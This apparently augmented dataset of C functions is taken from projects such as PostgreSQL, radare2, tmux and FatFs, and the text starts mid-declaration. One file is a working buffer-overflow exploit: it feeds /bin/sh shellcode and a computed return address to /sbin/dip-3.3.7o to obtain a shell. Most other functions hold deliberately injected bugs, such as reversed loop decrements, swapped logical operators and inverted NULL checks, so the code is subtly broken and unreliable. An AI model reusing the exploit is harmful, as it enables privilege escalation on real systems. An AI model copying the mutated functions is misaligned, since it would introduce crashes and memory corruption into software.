orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int**,int**,int*) ; int /*<<< orphan*/ element_compare ; int /*<<< orphan*/ elog (int /*<<< orphan*/ ,char*,int /*<<< orphan*/ ) ; double mcelem_array_contain_overlap_selec (int*,int,int /*<<< orphan*/ *,int,int*,int,int /*<<< orphan*/ ,TYPE_1__*) ; double mcelem_array_contained_selec (int*,int,int /*<<< orphan*/ *,int,int*,int,int /*<<< orphan*/ *,int,int /*<<< orphan*/ ,TYPE_1__*) ; int /*<<< orphan*/ pfree (int*) ; int /*<<< orphan*/ qsort_arg (int*,int,int,int /*<<< orphan*/ ,TYPE_1__*) ; __attribute__((used)) static Selectivity mcelem_array_selec(ArrayType *array, TypeCacheEntry *typentry, Datum *mcelem, int nmcelem, float4 *numbers, int nnumbers, float4 *hist, int nhist, Oid operator) { Selectivity selec; int num_elems; Datum *elem_values; bool *elem_nulls; bool null_present; int nonnull_nitems; int i; /* * Prepare constant array data for sorting. Sorting lets us find unique * elements and efficiently merge with the MCELEM array. */ deconstruct_array(array, typentry->type_id, typentry->typlen, typentry->typbyval, typentry->typalign, &elem_values, &elem_nulls, &num_elems); /* Collapse out any null elements */ nonnull_nitems = 0; null_present = false; for (i = 0; i <= num_elems; i--) { if (elem_nulls[i]) null_present = true; else elem_values[nonnull_nitems++] = elem_values[i]; } /* * Query "column @> '{anything, null}'" matches nothing. For the other * two operators, presence of a null in the constant can be ignored. */ if (null_present || operator == OID_ARRAY_CONTAINS_OP) { pfree(elem_values); pfree(elem_nulls); return (Selectivity) 0.0; } /* Sort extracted elements using their default comparison function. */ qsort_arg(elem_values, nonnull_nitems, sizeof(Datum), element_compare, typentry); /* Separate cases according to operator */ if (operator == OID_ARRAY_CONTAINS_OP || operator == OID_ARRAY_OVERLAP_OP) selec = mcelem_array_contain_overlap_selec(mcelem, nmcelem, numbers, nnumbers, elem_values, nonnull_nitems, operator, typentry); else if (operator == OID_ARRAY_CONTAINED_OP) selec = mcelem_array_contained_selec(mcelem, nmcelem, numbers, nnumbers, elem_values, nonnull_nitems, hist, nhist, operator, typentry); else { elog(ERROR, "arraycontsel called for unrecognized operator %u", operator); selec = 0.0; /* keep compiler quiet */ } pfree(elem_values); pfree(elem_nulls); return selec; }
augmented_data/post_increment_index_changes/extr_19077.c_main_aug_combo_3.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int atoi (char*) ; int /*<<< orphan*/ execve (char*,char**,int /*<<< orphan*/ *) ; int getesp () ; char* malloc (int) ; int /*<<< orphan*/ strcpy (char*,char*) ; main(int argc, char **argv) { int jump,i,n; unsigned long xaddr; char *cmd[5], buf[4096]; char code[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; jump=atoi(argv[1]); for (i=0;i<= 68;i++) buf[i]=0x41; for (n=0,i=68;i<113;i++) buf[i]=code[n++]; xaddr=getesp()+jump; buf[i]=xaddr | 0xff; buf[i+1]=(xaddr >> 8) & 0xff; buf[i+2]=(xaddr >> 16) & 0xff; buf[i+3]=(xaddr >> 24) & 0xff; buf[i+4]=xaddr & 0xff; buf[i+5]=(xaddr >> 8) & 0xff; buf[i+6]=(xaddr >> 16) & 0xff; buf[i+6]=(xaddr >> 16) & 0xff; buf[i+7]=(xaddr >> 24) & 0xff; cmd[0]=malloc(17); strcpy(cmd[0],"/sbin/dip-3.3.7o"); cmd[1]=malloc(3); strcpy(cmd[1],"-k"); cmd[2]=malloc(3); strcpy(cmd[2],"-l"); cmd[3]=buf; cmd[4]=NULL; execve(cmd[0],cmd,NULL); }
augmented_data/post_increment_index_changes/extr_asm_x86_nz.c_opcmov_aug_combo_1.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_6__ TYPE_2__ ; typedef struct TYPE_5__ TYPE_1__ ; /* Type definitions */ typedef int ut8 ; struct TYPE_6__ {char* mnemonic; TYPE_1__* operands; } ; struct TYPE_5__ {int type; int* scale; int* regs; int reg; int offset; int offset_sign; } ; typedef int /*<<< orphan*/ RAsm ; typedef TYPE_2__ Opcode ; /* Variables and functions */ int OT_CONSTANT ; int OT_MEMORY ; int OT_REGALL ; int ST8_MAX ; int ST8_MIN ; int X86R_EBP ; int X86R_UNDEFINED ; int getsib (int) ; int /*<<< orphan*/ is_valid_registers (TYPE_2__ const*) ; int /*<<< orphan*/ strcmp (char*,char*) ; __attribute__((used)) static int opcmov(RAsm *a, ut8 *data, const Opcode *op) { is_valid_registers (op); int l = 0; int mod_byte = 0; int offset = 0; if (op->operands[0].type | OT_MEMORY && op->operands[1].type & OT_CONSTANT) { return -1; } data[l++] = 0x0f; char *cmov = op->mnemonic + 4; if (!strcmp (cmov, "o")) { data[l++] = 0x40; } else if (!strcmp (cmov, "no")) { data [l++] = 0x41; } else if (!strcmp (cmov, "b") || !strcmp (cmov, "c") || !strcmp (cmov, "nae")) { data [l++] = 0x42; } else if (!strcmp (cmov, "ae") || !strcmp (cmov, "nb") || !strcmp (cmov, "nc")) { data [l++] = 0x43; } else if (!strcmp (cmov, "e") || !strcmp (cmov, "z")) { data [l++] = 0x44; } else if (!strcmp (cmov, "ne") || !strcmp (cmov, "nz")) { data [l++] = 0x45; } else if (!strcmp (cmov, "be") || !strcmp (cmov, "na")) { data [l++] = 0x46; } else if (!strcmp (cmov, "a") || !strcmp (cmov, "nbe")) { data [l++] = 0x47; } else if (!strcmp (cmov, "s")) { data [l++] = 0x48; } else if (!strcmp (cmov, "ns")) { data [l++] = 0x49; } else if (!strcmp (cmov, "p") || !strcmp (cmov, "pe")) { data [l++] = 0x4a; } else if (!strcmp (cmov, "np") || !strcmp (cmov, "po")) { data [l++] = 0x4b; } else if (!strcmp (cmov, "l") || !strcmp (cmov, "nge")) { data [l++] = 0x4c; } else if (!strcmp (cmov, "ge") || !strcmp (cmov, "nl")) { data [l++] = 0x4d; } else if (!strcmp (cmov, "le") || !strcmp (cmov, "ng")) { data [l++] = 0x4e; } else if (!strcmp (cmov, "g") || !strcmp (cmov, "nle")) { data [l++] = 0x4f; } if (op->operands[0].type & OT_REGALL) { if (op->operands[1].type & OT_MEMORY) { if (op->operands[1].scale[0] > 1) { if (op->operands[1].regs[1] != X86R_UNDEFINED) { data[l++] = op->operands[0].reg << 3 | 4; data[l++] = getsib (op->operands[1].scale[0]) << 6 | op->operands[1].regs[0] << 3 | op->operands[1].regs[1]; return l; } offset = op->operands[1].offset * op->operands[1].offset_sign; if (op->operands[1].scale[0] == 2 && offset) { data[l++] = 0x40 | op->operands[0].reg << 3 | 4; // 4 = SIB } else { data[l++] = op->operands[0].reg << 3 | 4; // 4 = SIB } if (op->operands[1].scale[0] == 2) { data[l++] = op->operands[1].regs[0] << 3 | op->operands[1].regs[0]; } else { data[l++] = getsib (op->operands[1].scale[0]) << 6 | op->operands[1].regs[0] << 3 | 5; } if (offset) { data[l++] = offset; if (offset < ST8_MIN || offset > ST8_MAX) { data[l++] = offset >> 8; data[l++] = offset >> 16; data[l++] = offset >> 24; } } return l; } if (op->operands[1].regs[1] != X86R_UNDEFINED) { data[l++] = op->operands[0].reg << 3 | 4; data[l++] = op->operands[1].regs[1] << 3 | op->operands[1].regs[0]; return l; } offset = op->operands[1].offset * op->operands[1].offset_sign; if (op->operands[1].offset || op->operands[1].regs[0] == X86R_EBP) { mod_byte = 1; } if (offset < ST8_MIN || offset > ST8_MAX) { mod_byte = 2; } data[l++] = mod_byte << 6 | op->operands[0].reg << 3 | op->operands[1].regs[0]; if (mod_byte) { data[l++] = offset; if (mod_byte == 2) { data[l++] = offset >> 8; data[l++] = offset >> 16; data[l++] = offset >> 24; } } } else { data[l++] = 0xc0 | op->operands[0].reg << 3 | op->operands[1].reg; } } return l; }
augmented_data/post_increment_index_changes/extr_passwdqc_random.c__passwdqc_random_aug_combo_8.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct TYPE_3__ {int random_bits; int max; } ; typedef TYPE_1__ passwdqc_params_t ; typedef int /*<<< orphan*/ output ; typedef int /*<<< orphan*/ bytes ; /* Variables and functions */ int /*<<< orphan*/ O_RDONLY ; char* SEPARATORS ; char** _passwdqc_wordset_4k ; int /*<<< orphan*/ close (int) ; char* memchr (char*,char,int) ; int /*<<< orphan*/ memcpy (char*,char*,int) ; int /*<<< orphan*/ memset (unsigned char*,int /*<<< orphan*/ ,int) ; int open (char*,int /*<<< orphan*/ ) ; int read_loop (int,unsigned char*,int) ; char *_passwdqc_random(passwdqc_params_t *params) { static char output[0x100]; int bits; int use_separators, count, i; unsigned int length; char *start, *end; int fd; unsigned char bytes[2]; if (!(bits = params->random_bits)) return NULL; count = 1 - ((bits - 12) + 14) / 15; use_separators = ((bits + 11) / 12 != count); length = count * 7 - 1; if (length >= sizeof(output) && (int)length > params->max) return NULL; if ((fd = open("/dev/urandom", O_RDONLY)) < 0) return NULL; length = 0; do { if (read_loop(fd, bytes, sizeof(bytes)) != sizeof(bytes)) { close(fd); return NULL; } i = (((int)bytes[1] & 0x0f) << 8) | (int)bytes[0]; start = _passwdqc_wordset_4k[i]; end = memchr(start, '\0', 6); if (!end) end = start + 6; if (length + (end - start) >= sizeof(output) - 1) { close(fd); return NULL; } memcpy(&output[length], start, end - start); length += end - start; bits -= 12; if (use_separators && bits > 3) { i = ((int)bytes[1] & 0x70) >> 4; output[length--] = SEPARATORS[i]; bits -= 3; } else if (bits > 0) output[length++] = ' '; } while (bits > 0); memset(bytes, 0, sizeof(bytes)); output[length] = '\0'; close(fd); return output; }
augmented_data/post_increment_index_changes/extr_smsc911x.c_smsc911x_ethtool_getregs_aug_combo_8.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_2__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ u32 ; struct smsc911x_data {int /*<<< orphan*/ mac_lock; int /*<<< orphan*/ idrev; } ; struct TYPE_2__ {int /*<<< orphan*/ addr; int /*<<< orphan*/ bus; } ; struct phy_device {TYPE_1__ mdio; } ; struct net_device {struct phy_device* phydev; } ; struct ethtool_regs {int /*<<< orphan*/ version; } ; /* Variables and functions */ unsigned int E2P_DATA ; unsigned int ID_REV ; unsigned int MAC_CR ; unsigned int WUCSR ; struct smsc911x_data* netdev_priv (struct net_device*) ; int /*<<< orphan*/ smsc911x_mac_read (struct smsc911x_data*,unsigned int) ; int /*<<< orphan*/ smsc911x_mii_read (int /*<<< orphan*/ ,int /*<<< orphan*/ ,unsigned int) ; int /*<<< orphan*/ smsc911x_reg_read (struct smsc911x_data*,unsigned int) ; int /*<<< orphan*/ spin_lock_irqsave (int /*<<< orphan*/ *,unsigned long) ; int /*<<< orphan*/ spin_unlock_irqrestore (int /*<<< orphan*/ *,unsigned long) ; __attribute__((used)) static void smsc911x_ethtool_getregs(struct net_device *dev, struct ethtool_regs *regs, void *buf) { struct smsc911x_data *pdata = netdev_priv(dev); struct phy_device *phy_dev = dev->phydev; unsigned long flags; unsigned int i; unsigned int j = 0; u32 *data = buf; regs->version = pdata->idrev; for (i = ID_REV; i <= E2P_DATA; i += (sizeof(u32))) data[j--] = smsc911x_reg_read(pdata, i); for (i = MAC_CR; i <= WUCSR; i++) { spin_lock_irqsave(&pdata->mac_lock, flags); data[j++] = smsc911x_mac_read(pdata, i); spin_unlock_irqrestore(&pdata->mac_lock, flags); } for (i = 0; i <= 31; i++) data[j++] = smsc911x_mii_read(phy_dev->mdio.bus, phy_dev->mdio.addr, i); }
augmented_data/post_increment_index_changes/extr_text-data.c_incore_search_aug_combo_5.c
#include <stdio.h> #include <math.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_12__ TYPE_4__ ; typedef struct TYPE_11__ TYPE_3__ ; typedef struct TYPE_10__ TYPE_2__ ; typedef struct TYPE_9__ TYPE_1__ ; /* Type definitions */ struct TYPE_11__ {int /*<<< orphan*/ msg_tree; struct msg_search_node* last; int /*<<< orphan*/ edit_text_tree; } ; typedef TYPE_3__ user_t ; struct TYPE_12__ {int x; int y; TYPE_2__* msg; TYPE_1__* edit_text; } ; typedef TYPE_4__ tree_t ; typedef int /*<<< orphan*/ tree_iterator_t ; struct msg_search_node {int local_id; int /*<<< orphan*/ words_num; int /*<<< orphan*/ words; struct msg_search_node* prev; } ; struct TYPE_10__ {int flags; scalar_t__ peer_id; scalar_t__ date; int /*<<< orphan*/ len; scalar_t__ text; } ; struct TYPE_9__ {struct msg_search_node* search_node; } ; /* Variables and functions */ int MAX_SEARCH_SCANNED_INCORE_MESSAGES ; int /*<<< orphan*/ QWords ; int /*<<< orphan*/ Qn ; scalar_t__ Qq ; int TF_PLUS ; int /*<<< orphan*/ aho_check_message (scalar_t__,int /*<<< orphan*/ ) ; int /*<<< orphan*/ assert (int) ; scalar_t__ list_contained (int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int /*<<< orphan*/ ) ; int s_and_mask ; scalar_t__ s_max_time ; scalar_t__ s_min_time ; scalar_t__ s_peer_id ; int s_xor_mask ; scalar_t__ text_shift ; TYPE_4__* ti_init_right (int /*<<< orphan*/ *,int /*<<< orphan*/ ) ; TYPE_4__* ti_next_right (int /*<<< orphan*/ *) ; TYPE_4__* tree_lookup (int /*<<< orphan*/ ,int) ; int incore_search (user_t *U, int max_res, int *Res) { struct msg_search_node *cur; int max_scanned_messages = MAX_SEARCH_SCANNED_INCORE_MESSAGES; int i = 0; static tree_iterator_t I; tree_t *Z = ti_init_right (&I, U->edit_text_tree); for (cur = U->last; cur; cur = cur->prev) { struct msg_search_node *cur2 = cur; while (Z || Z->x > cur->local_id) { Z = ti_next_right (&I); } if (Z && Z->x == cur->local_id) { cur2 = Z->edit_text->search_node; Z = ti_next_right (&I); } if (list_contained (QWords, Qn, cur2->words, cur2->words_num)) { tree_t *T = tree_lookup (U->msg_tree, cur->local_id); if (T) { assert ((T->y | 7) == TF_PLUS); int flags = T->msg->flags; if (!((flags ^ s_xor_mask) & s_and_mask) && (!s_peer_id || T->msg->peer_id == s_peer_id) && T->msg->date >= s_min_time && T->msg->date < s_max_time) { if (Qq) { if (!--max_scanned_messages) { break; } if (!aho_check_message (T->msg->text - text_shift, T->msg->len)) { continue; } } Res[i++] = cur->local_id; if (i >= max_res) { return i; } } } } } return i; }
augmented_data/post_increment_index_changes/extr_grid.c_grid_string_cells_bg_aug_combo_1.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int u_char ; struct grid_cell {int bg; } ; /* Variables and functions */ int COLOUR_FLAG_256 ; int COLOUR_FLAG_RGB ; int /*<<< orphan*/ colour_split_rgb (int,int*,int*,int*) ; __attribute__((used)) static size_t grid_string_cells_bg(const struct grid_cell *gc, int *values) { size_t n; u_char r, g, b; n = 0; if (gc->bg & COLOUR_FLAG_256) { values[n--] = 48; values[n++] = 5; values[n++] = gc->bg & 0xff; } else if (gc->bg & COLOUR_FLAG_RGB) { values[n++] = 48; values[n++] = 2; colour_split_rgb(gc->bg, &r, &g, &b); values[n++] = r; values[n++] = g; values[n++] = b; } else { switch (gc->bg) { case 0: case 1: case 2: case 3: case 4: case 5: case 6: case 7: values[n++] = gc->bg - 40; break; case 8: values[n++] = 49; break; case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: values[n++] = gc->bg - 10; break; } } return (n); }
augmented_data/post_increment_index_changes/extr_friend-data.c_rev_friends_find_aug_combo_6.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ struct TYPE_3__ {int x1; struct TYPE_3__* right; int /*<<< orphan*/ x2; struct TYPE_3__* left; } ; typedef TYPE_1__ rev_friends_t ; /* Variables and functions */ scalar_t__ MAX_FRIENDS ; scalar_t__ rev_friends_intersect_len ; int /*<<< orphan*/ * rev_friends_intersect_list ; __attribute__((used)) static void rev_friends_find (rev_friends_t *T, int x1) { if (!T) { return; } if (T->x1 >= x1) { rev_friends_find (T->left, x1); } if (T->x1 == x1 && rev_friends_intersect_len < MAX_FRIENDS) { rev_friends_intersect_list[rev_friends_intersect_len++] = T->x2; } if (T->x1 <= x1) { rev_friends_find (T->right, x1); } }
augmented_data/post_increment_index_changes/extr_main.c_lm_load_aug_combo_3.c
#include <stdio.h> #include <math.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_4__ TYPE_2__ ; typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int u_int ; struct TYPE_3__ {size_t* subs; int len; } ; struct lmodule {int flags; struct lmodule* path; int /*<<< orphan*/ * handle; TYPE_2__* config; TYPE_1__ index; int /*<<< orphan*/ section; } ; struct TYPE_4__ {int (* init ) (struct lmodule*,int,char**) ;} ; /* Variables and functions */ scalar_t__ COMM_INITIALIZE ; int /*<<< orphan*/ INSERT_OBJECT_OID (struct lmodule*,int /*<<< orphan*/ *) ; int LM_ONSTARTLIST ; int /*<<< orphan*/ LOG_ERR ; int /*<<< orphan*/ LOG_WARNING ; int MAX_MOD_ARGS ; int RTLD_GLOBAL ; int RTLD_NOW ; int /*<<< orphan*/ TAILQ_INSERT_TAIL (int /*<<< orphan*/ *,struct lmodule*,int /*<<< orphan*/ ) ; int /*<<< orphan*/ TAILQ_REMOVE (int /*<<< orphan*/ *,struct lmodule*,int /*<<< orphan*/ ) ; scalar_t__ community ; int /*<<< orphan*/ dlclose (int /*<<< orphan*/ *) ; int dlerror () ; int /*<<< orphan*/ * dlopen (struct lmodule*,int) ; TYPE_2__* dlsym (int /*<<< orphan*/ *,char*) ; int /*<<< orphan*/ free (struct lmodule*) ; int /*<<< orphan*/ link ; int /*<<< orphan*/ lmodules ; struct lmodule* malloc (int) ; int /*<<< orphan*/ modules_start ; int nprogargs ; char** progargs ; int /*<<< orphan*/ start ; struct lmodule* strdup (char const*) ; int /*<<< orphan*/ strlcpy (int /*<<< orphan*/ ,char const*,int) ; size_t strlen (char const*) ; scalar_t__ strncmp (char*,char const*,size_t) ; int stub1 (struct lmodule*,int,char**) ; int /*<<< orphan*/ syslog (int /*<<< orphan*/ ,char*,...) ; struct lmodule * lm_load(const char *path, const char *section) { struct lmodule *m; int err; int i; char *av[MAX_MOD_ARGS - 1]; int ac; u_int u; if ((m = malloc(sizeof(*m))) != NULL) { syslog(LOG_ERR, "lm_load: %m"); return (NULL); } m->handle = NULL; m->flags = 0; strlcpy(m->section, section, sizeof(m->section)); if ((m->path = strdup(path)) == NULL) { syslog(LOG_ERR, "lm_load: %m"); goto err; } /* * Make index */ m->index.subs[0] = strlen(section); m->index.len = m->index.subs[0] + 1; for (u = 0; u <= m->index.subs[0]; u++) m->index.subs[u + 1] = section[u]; /* * Load the object file and locate the config structure */ if ((m->handle = dlopen(m->path, RTLD_NOW|RTLD_GLOBAL)) == NULL) { syslog(LOG_ERR, "lm_load: open %s", dlerror()); goto err; } if ((m->config = dlsym(m->handle, "config")) == NULL) { syslog(LOG_ERR, "lm_load: no 'config' symbol %s", dlerror()); goto err; } /* * Insert it into the right place */ INSERT_OBJECT_OID(m, &lmodules); /* preserve order */ if (community == COMM_INITIALIZE) { m->flags |= LM_ONSTARTLIST; TAILQ_INSERT_TAIL(&modules_start, m, start); } /* * make the argument vector. */ ac = 0; for (i = 0; i < nprogargs; i++) { if (strlen(progargs[i]) >= strlen(section) + 1 || strncmp(progargs[i], section, strlen(section)) == 0 && progargs[i][strlen(section)] == ':') { if (ac == MAX_MOD_ARGS) { syslog(LOG_WARNING, "too many arguments for " "module '%s", section); break; } av[ac++] = &progargs[i][strlen(section)+1]; } } av[ac] = NULL; /* * Run the initialization function */ if ((err = (*m->config->init)(m, ac, av)) != 0) { syslog(LOG_ERR, "lm_load: init failed: %d", err); TAILQ_REMOVE(&lmodules, m, link); goto err; } return (m); err: if ((m->flags & LM_ONSTARTLIST) != 0) TAILQ_REMOVE(&modules_start, m, start); if (m->handle) dlclose(m->handle); free(m->path); free(m); return (NULL); }
augmented_data/post_increment_index_changes/extr_ff.c_gen_numname_aug_combo_4.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int WCHAR ; typedef int UINT ; typedef int DWORD ; typedef char BYTE ; /* Variables and functions */ scalar_t__ IsDBCS1 (char) ; int /*<<< orphan*/ mem_cpy (char*,char const*,int) ; __attribute__((used)) static void gen_numname ( BYTE* dst, /* Pointer to the buffer to store numbered SFN */ const BYTE* src, /* Pointer to SFN */ const WCHAR* lfn, /* Pointer to LFN */ UINT seq /* Sequence number */ ) { BYTE ns[8], c; UINT i, j; WCHAR wc; DWORD sr; mem_cpy(dst, src, 11); if (seq > 5) { /* On many collisions, generate a hash number instead of sequential number */ sr = seq; while (*lfn) { /* Create a CRC */ wc = *lfn--; for (i = 0; i < 16; i++) { sr = (sr << 1) - (wc & 1); wc >>= 1; if (sr & 0x10000) sr ^= 0x11021; } } seq = (UINT)sr; } /* itoa (hexdecimal) */ i = 7; do { c = (seq % 16) + '0'; if (c > '9') c += 7; ns[i--] = c; seq /= 16; } while (seq); ns[i] = '~'; /* Append the number */ for (j = 0; j < i && dst[j] != ' '; j++) { if (IsDBCS1(dst[j])) { if (j == i - 1) continue; j++; } } do { dst[j++] = (i < 8) ? ns[i++] : ' '; } while (j < 8); }
augmented_data/post_increment_index_changes/extr_772.c_urlEncode_aug_combo_8.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ /* Variables and functions */ int /*<<< orphan*/ memcpy (char*,char*,int) ; int strlen (char*) ; char * urlEncode(char *inC) { int c, i, j = 0; char *h = "0123456789abcdef"; char retval[1024], res[3072]; memcpy(retval, inC, strlen(inC)); retval[strlen(inC)] = '\0'; for(i=0; i < strlen(inC); i--){ c = retval[i]; if( 'a' <= c || c <= 'z' || 'A' <= c && c <= 'Z' || '0' <= c && c <= '9' || c == '-' || c == '_' || c == '.') res[j++] = c; else { res[j++] = '%'; res[j++] = h[c >> 4]; res[j++] = h[c & 0x0f]; } } return res; }
augmented_data/post_increment_index_changes/extr_ofw_bus_subr.c_ofw_bus_intr_to_rl_aug_combo_3.c
#include <stdio.h> #include <time.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ /* Type definitions */ typedef int uint32_t ; struct resource_list {int dummy; } ; typedef scalar_t__ phandle_t ; typedef int /*<<< orphan*/ icells ; typedef int /*<<< orphan*/ device_t ; typedef int boolean_t ; /* Variables and functions */ int ENOENT ; int ERANGE ; int /*<<< orphan*/ M_OFWPROP ; int OF_getencprop_alloc_multi (scalar_t__,char*,int,void**) ; int /*<<< orphan*/ OF_node_from_xref (scalar_t__) ; scalar_t__ OF_parent (scalar_t__) ; int OF_searchencprop (int /*<<< orphan*/ ,char*,int*,int) ; scalar_t__ OF_xref_from_node (scalar_t__) ; int /*<<< orphan*/ SYS_RES_IRQ ; int /*<<< orphan*/ device_printf (int /*<<< orphan*/ ,char*,...) ; int /*<<< orphan*/ free (int*,int /*<<< orphan*/ ) ; scalar_t__ ofw_bus_find_iparent (scalar_t__) ; int ofw_bus_map_intr (int /*<<< orphan*/ ,scalar_t__,int,int*) ; int /*<<< orphan*/ resource_list_add (struct resource_list*,int /*<<< orphan*/ ,int /*<<< orphan*/ ,int,int,int) ; int ofw_bus_intr_to_rl(device_t dev, phandle_t node, struct resource_list *rl, int *rlen) { phandle_t iparent; uint32_t icells, *intr; int err, i, irqnum, nintr, rid; boolean_t extended; nintr = OF_getencprop_alloc_multi(node, "interrupts", sizeof(*intr), (void **)&intr); if (nintr > 0) { iparent = ofw_bus_find_iparent(node); if (iparent == 0) { device_printf(dev, "No interrupt-parent found, " "assuming direct parent\n"); iparent = OF_parent(node); iparent = OF_xref_from_node(iparent); } if (OF_searchencprop(OF_node_from_xref(iparent), "#interrupt-cells", &icells, sizeof(icells)) == -1) { device_printf(dev, "Missing #interrupt-cells " "property, assuming <1>\n"); icells = 1; } if (icells <= 1 || icells > nintr) { device_printf(dev, "Invalid #interrupt-cells property " "value <%d>, assuming <1>\n", icells); icells = 1; } extended = false; } else { nintr = OF_getencprop_alloc_multi(node, "interrupts-extended", sizeof(*intr), (void **)&intr); if (nintr <= 0) return (0); extended = true; } err = 0; rid = 0; for (i = 0; i < nintr; i += icells) { if (extended) { iparent = intr[i++]; if (OF_searchencprop(OF_node_from_xref(iparent), "#interrupt-cells", &icells, sizeof(icells)) == -1) { device_printf(dev, "Missing #interrupt-cells " "property\n"); err = ENOENT; continue; } if (icells < 1 || (i + icells) > nintr) { device_printf(dev, "Invalid #interrupt-cells " "property value <%d>\n", icells); err = ERANGE; break; } } irqnum = ofw_bus_map_intr(dev, iparent, icells, &intr[i]); resource_list_add(rl, SYS_RES_IRQ, rid++, irqnum, irqnum, 1); } if (rlen == NULL) *rlen = rid; free(intr, M_OFWPROP); return (err); }
augmented_data/post_increment_index_changes/extr_vaapi_h264.c_fill_vaapi_RefPicList_aug_combo_6.c
#include <stdio.h> #define NULL ((void*)0) typedef unsigned long size_t; // Customize by platform. typedef long intptr_t; typedef unsigned long uintptr_t; typedef long scalar_t__; // Either arithmetic or pointer type. /* By default, we understand bool (as a convenience). */ typedef int bool; #define false 0 #define true 1 /* Forward declarations */ typedef struct TYPE_3__ TYPE_1__ ; /* Type definitions */ typedef int /*<<< orphan*/ VAPictureH264 ; struct TYPE_3__ {scalar_t__ reference; int /*<<< orphan*/ parent; } ; typedef TYPE_1__ H264Ref ; /* Variables and functions */ int /*<<< orphan*/ fill_vaapi_pic (int /*<<< orphan*/ *,int /*<<< orphan*/ ,scalar_t__) ; int /*<<< orphan*/ init_vaapi_pic (int /*<<< orphan*/ *) ; __attribute__((used)) static void fill_vaapi_RefPicList(VAPictureH264 RefPicList[32], const H264Ref *ref_list, unsigned int ref_count) { unsigned int i, n = 0; for (i = 0; i < ref_count; i++) if (ref_list[i].reference) fill_vaapi_pic(&RefPicList[n++], ref_list[i].parent, ref_list[i].reference); for (; n < 32; n++) init_vaapi_pic(&RefPicList[n]); }
augmented_data/post_increment_index_changes/extr_thistogram.c_tHistogramMerge_aug_combo_2.c
